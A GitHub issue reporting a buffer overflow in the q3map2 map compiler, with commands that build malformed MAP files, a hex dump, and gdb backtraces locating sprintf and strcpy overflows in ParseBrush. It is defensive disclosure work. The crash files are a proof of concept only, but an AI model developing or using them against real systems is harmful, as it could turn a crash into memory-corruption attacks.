New issue

Jump to bottom

Buffer overflow in q3map2 when parsing malformed MAP file #676

Open **retpoline** opened this issue on Jan 12 · 0 comments

retpoline commented on Jan 12

Hi folks,

A buffer overflow was found while fuzz testing of the q3map2 binary which can be triggered via a malformed MAP file with a large shader image name. Although this malformed file only crashes the program as-is, it could potentially be crafted further and create a security issue where these kinds of files would be able compromise the process's memory through taking advantage of affordances given by memory corruption. It's recommend to harden the code to prevent these kinds of bugs as it could greatly mitigate such this issue and even future bugs.

crash files

```
$ echo -ne
"\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20
 -e 'print "B" x 55'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_sprintf.map

$ xxd crash_sprintf.map
00000000: 2f2f 0a7b 0a61 2070 2073 2030 0a7b 0a28  //.{.a p s 0.{.(
00000010: 2034 2032 2034 2029 2028 2034 2038 2034   4 2 4 ) ( 4 8 4
00000020: 2029 2028 2034 2034 2034 2029 2042 4242   ) ( 4 4 4 ) BBB
00000030: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000060: 4242 4242 2035 2030 2034 2030 207d 0a    BBBB 5 0 4 0 }.

or

$ echo -ne
"\x2f\x2f\x0a\x7b\x0a\x61\x20\x70\x20\x73\x20\x30\x0a\x7b\x0a\x28\x20\x34\x20\x32\x20\x34\x20\x29\x20
 -e 'print "B" x 64'`"\x20\x35\x20\x30\x20\x34\x20\x30\x20\x7d\x0a" > crash_strcpy.map
```

debug log

```
(gdb) r crash_sprintf.map
Starting program: GtkRadiant/build/release/q3map2/q3map2 crash_sprintf.map
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
2.5.17
threads: 4
Q3Map         - v1.0r (c) 1999 Id Software Inc.
Q3Map (ydnar) - v2.5.17
GtkRadiant    - v1.6.6 Jan  9 2022 20:51:50
We're still here
VFS Init: /home/test/.q3a/baseq3/
VFS Init: GtkRadiant/build/release//baseq3/

--- BSP ---
Loading crash_sprintf.map
entering crash_sprintf.map
*** buffer overflow detected ***: terminated

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
#2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort,
fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow
detected") at fortify_fail.c:26
#4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
#5  0x00007ffff791e1cf in _IO_str_chk_overflow (fp=<optimized out>, c=<optimized out>) at
iovsprintf.c:35
#6  0x00007ffff792b1a4 in __GI__IO_default_xsputn (n=<optimized out>, data=<optimized out>, f=
<optimized out>) at libioP.h:948
#7  __GI__IO_default_xsputn (f=0x7fffffffd680, data=<optimized out>, n=55) at genops.c:370
#8  0x00007ffff791027c in __vfprintf_internal (s=s@entry=0x7fffffffd680,
format=format@entry=0x5555555dd35a "textures/%s", ap=ap@entry=0x7fffffffd7c0,
mode_flags=mode_flags@entry=6)
    at ../libio/libioP.h:948
#9  0x00007ffff791e279 in __vsprintf_internal (string=0x7fffffffd930 "textures/", 'B' <repeats 54
times>, maxlen=<optimized out>, format=0x5555555dd35a "textures/%s",
args=args@entry=0x7fffffffd7c0,
    mode_flags=6) at iovsprintf.c:95
#10 0x00007ffff79c6edb in ___sprintf_chk (s=<optimized out>, flag=<optimized out>, slen=<optimized
out>, format=<optimized out>) at sprintf_chk.c:40
#11 0x00005555555a35de in ParseBrush ()
#12 0x00005555555a464f in LoadMapFile ()
#13 0x000055555559b824 in BSPMain ()
#14 0x000055555555f935 in main ()

(gdb) r crash_strcpy.map
...

*** buffer overflow detected ***: terminated
```

```
Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50

(gdb) bt
#0  __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
#1  0x00007ffff78bb859 in __GI_abort () at abort.c:79
#2  0x00007ffff79263ee in __libc_message (action=action@entry=do_abort,
fmt=fmt@entry=0x7ffff7a5007c "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:155
#3  0x00007ffff79c8b4a in __GI___fortify_fail (msg=msg@entry=0x7ffff7a50012 "buffer overflow
detected") at fortify_fail.c:26
#4  0x00007ffff79c73e6 in __GI___chk_fail () at chk_fail.c:28
#5  0x00007ffff79c6cc6 in __strcpy_chk (dest=0x7fffffffd8f0 "", src=0x5555556af480 <token> 'B'
<repeats 64 times>, destlen=64) at strcpy_chk.c:30
#6  0x00005555555a35ab in ParseBrush ()
#7  0x00005555555a464f in LoadMapFile ()
#8  0x000055555559b824 in BSPMain ()
#9  0x000055555555f935 in main ()
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant